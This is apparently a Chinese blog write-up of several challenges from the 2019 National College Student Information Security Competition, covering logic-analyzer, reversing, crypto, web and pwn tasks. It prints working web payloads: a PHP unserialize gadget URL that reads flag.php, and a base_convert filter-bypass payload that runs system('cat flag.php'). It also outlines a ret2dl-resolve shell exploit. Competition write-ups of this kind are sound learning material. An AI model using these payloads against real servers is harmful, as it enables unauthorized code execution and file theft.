当前位置 博文首页 > 韦全敏的博客:2019年第十二届全国大学生信息安全竞赛部分WriteU

    韦全敏的博客:2019年第十二届全国大学生信息安全竞赛部分WriteU

    作者:[db:作者] 时间:2021-07-08 18:39

    第十二届全国大学生信息安全竞赛部分WriteUp

    0x00 签到题

    操作内容:

    下载链接,解压并运行软件,对准两个聚焦圆圈,控制台回车输出flag
    在这里插入图片描述

    FLAG值:

    FLAG{87e37d95-6a48-4463-aff8-b0dbd27d3b7d}

    0x01 SALEAE

    操作内容:

    打开发现是.logicdata(逻辑分析仪数据文件),使用Logic软件打开,根据时钟频率以及通讯方式擦侧是属于SPI通讯,解析得到flag
    在这里插入图片描述
    flag竖着读
    在这里插入图片描述

    FLAG值:

    FLAG{12071397-19d1-48e6-be8c-784b89a95e07}

    0x02 24c

    操作内容:

    同上题方式,打开,发现又是IIC协议,解析发现结果
    在这里插入图片描述
    将结果导出为文本格式
    在这里插入图片描述
    尝试拼接发现有问题,然后想到题目名是24c,想到IIC的EEPROM存储芯片24c02,又联想到是IIC协议,想起IIC操作24c02的时候要先发送开始操作的地址,以及NAK这个停止符(想到可能是要修改内容二中断接收)。于是想到\t不是字符,其对应的ASCII是9,也就是从第9号位‘9’开始将”9e”替换为ac,与之前的部分进行拼接然后得到结果。

    FLAG值:

    FLAG{c46dac10-e9b5-4d90-a883-41cf163bdf4e}

    0x03 easyG0

    操作内容:

    下载链接,经分析,需要输入一些字符串,所以打开ida 搜索please,然后交叉引用返回到地址0x495168
    在这里插入图片描述
    ,然后用gdb在0x495168处下断点,单步调试,直到让输入一些字符串,这个地方随便输,就行,然后一直单步执行,会到两个字符串比较的地方,这时可以在栈空间看见flag,如下:
    在这里插入图片描述

    FLAG值:

    FLAG{92094daf-33c9-431e-a85a-8bfbd5df98ad}

    0x04 JustSoso

    操作内容:

    在网页源代码中发现提示

    php任意文件包含,下面是base64转文本的结果

    index.php

    <html>
    <?php
    error_reporting(0); 
    $file = $_GET["file"]; 
    $payload = $_GET["payload"];
    if(!isset($file)){
    	echo 'Missing parameter'.'<br>';
    }
    if(preg_match("/flag/",$file)){
    	die('hack attacked!!!');
    }
    @include($file);
    if(isset($payload)){  
        $url = parse_url($_SERVER['REQUEST_URI']);
        parse_str($url['query'],$query);
        foreach($query as $value){
            if (preg_match("/flag/",$value)) { 
        	    die('stop hacking!');
        	    exit();
            }
        }
        $payload = unserialize($payload);
    }else{ 
       echo "Missing parameters"; 
    } 
    ?>
    <!--Please test index.php?file=xxx.php -->
    <!--Please get the source of hint.php-->
    </html>
    

    hint.php

    <?php  
    class Handle{ 
        private $handle;  
        public function __wakeup(){
    		foreach(get_object_vars($this) as $k => $v) {
                $this->$k = null;
            }
            echo "Waking up\n";
        }
    	public function __construct($handle) { 
            $this->handle = $handle; 
        } 
    	public function __destruct(){
    		$this->handle->getFlag();
    	}
    }
    
    class Flag{
        public $file;
        public $token;
        public $token_flag;
     
        function __construct($file){
    		$this->file = $file;
    		$this->token_flag = $this->token = md5(rand(1,10000));
        }
        
    	public function getFlag(){
    		$this->token_flag = md5(rand(1,10000));
            if($this->token === $this->token_flag)
    		{
    			if(isset($this->file)){
    				echo @highlight_file($this->file,true); 
                }  
            }
        }
    }
    ?>
    

    我们使用 ///,可以绕过
    url = parse_url($_SERVER['REQUEST_URI']); parse_str($url['query'],$query);
    然后 使用%00 绕过 wakeup;
    最后使用=& 链接 指向同一地址 使得token = token_flag即可。

    使用payload:
    http://cca41b4bf4704d57b697729ee8950f4c509984bceeb5401c.changame.ichunqiu.com///index.php?file=hint.php&payload=O:6:%22Handle%22:2:{s:14:%22%00Handle%00handle%22;O:4:%22Flag%22:3:{s:4:%22file%22;s:8:%22flag.php%22;s:5:%22token%22;N;s:10:%22token_flag%22;R:4;}}

    FLAG值:

    FLAG{064c36f1-f47b-4a35-b172-e27cfa8c74f6}

    0x05 puzzles

    操作内容:

    Question0解四元一次方程:
    在这里插入图片描述
    Question1根据规律可以知道part1为26365399
    Question2求极限函数可知part2为7700
    Question3根据感应电动势计算公式可知part3为18640
    Question4计算立体图形体积,三重积分可得part4为40320
    在这里插入图片描述
    将所得数字进行十六进制转换,得到flag{01924dd7-1e14-48d0-9d80-fa6bed9c7a00}

    FLAG值:

    FLAG{01924dd7-1e14-48d0-9d80-fa6bed9c7a00}

    0x06 usbasp

    操作内容:

    下载链接,将文件拖进逻辑分析仪中,并设置相关参数,如图:
    在这里插入图片描述
    拉到最后就可以看到flag了,flag竖着读
    在这里插入图片描述

    FLAG值:

    FLAG{85b084c6-42e6-495c-87b4-46dfb1df58a0}

    0x07 warmup

    操作内容:

    下载链接,分析代码文件,确定是AES题目。通过分析,可以联想到DDCTF中AES ECB加解密还原(安全通信)类似于本题目,唯一的区别就是ECB换成了另外的CRT,解题的思路和关键点在可控密钥长度,这里选择逐位爆破flag,经过测试可以知道逐位爆破flag,每次16位,重复3位即可;
    (类似AES ECB题目链接:https://www.cnblogs.com/kagari/p/8889412.html)
    根据分析撸出脚本,如图:
    在这里插入图片描述在这里插入图片描述

    FLAG值:

    FLAG{9063a267-25ae-45a3-9c6e-62c0eb1db2e9}

    0x08 love_math

    操作内容:

    查看源代码发现ajax连接一个calc.php文件,访问这个文件
    在这里插入图片描述
    访问之后,给出源代码
    在这里插入图片描述
    发现需要绕过两处正则,经过半天的测试,发现可以通过这种方法绕过正则列目录
    $exp=base_convert;$sin=$exp(1751504350,10,36);$tan=$exp(784,10,36);$sin($tan);
    在这里插入图片描述
    然后就是想尽办法读取flag.php的内容,一开始是觉得在这个地方想办法绕过特殊字符,绕过空格使用cat读取文件,到下午之后发现其他的利用方式
    base_convert可以进行进制转化并且在白名单中37907361743-hex2bin
    dechex可以将十进制转十六进制,1598506324-5f474554
    后面就是按照正则绕就OK了。
    payload:/calc.php?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){1}(($$pi){2})&1=system&2=cat%20flag.php
    在这里插入图片描述
    flag在网页源代码中,
    在这里插入图片描述

    进制转换可以通过这个网站在线转换:https://tool.lu/hexconvert/

    FLAG值:
    FLAG{846ed64d-b1c4-4c3a-b1d4-54d548077b2d}

    0x09 bbvvmm

    操作内容:

    下载链接,解压文件,直接拖进UE,发现用户名和密码,如图所示:
    在这里插入图片描述
    初看感觉应该是正常的base64,但是在线解密后,发现不对,测试一下,感觉应该是畸形base64解码,如下图:
    在这里插入图片描述
    在这里插入图片描述
    可以知道用户名经过了rsm加密,然后是base64解码,
    在这里插入图片描述
    在这里插入图片描述
    最后可以得到用户名为:badrer12

    此时密码还没有得到,lda进行反编译一下,单流程有几百个,ida远程进行动态调试,在要输入的数据上下断点,然后查看内存,发现
    在这里插入图片描述
    密码得到为:xyz{|};

    输入用户名和密码,使用pwntools,运行脚本,
    在这里插入图片描述
    得到flag:
    在这里插入图片描述

    FLAG值:

    0x10 baby_pwn

    操作内容:
    下载链接,解压文件,放入ida,分析一波
    在这里插入图片描述
    如下图可以发现,除了明显的栈溢出,没有可以用来leak内存布局,bypass aslr的函数,
    在这里插入图片描述
    反编译read,可以看出有很明显的栈溢出漏洞,但是只有一个read,没有可以用来leak的函数,所以利用ret2dl的解法

    关键思路是通过栈溢出来调用read函数在bss段写我们需要的结构和/bin/sh,然后使用dl_resolve_call去调用system,得到shell
    脚本编写,如下图:
    在这里插入图片描述
    利用roputils工具来实现ret2dl(在python中算模块)
    直接在github上下载roputils包:https://codeload.github.com/inaz2/roputils/zip/master

    运行脚本,得到flag,如图:

    在这里插入图片描述

    FLAG值:

    FLAG{212813c713fd088211723ba325350a9d }

    cs
    下一篇:没有了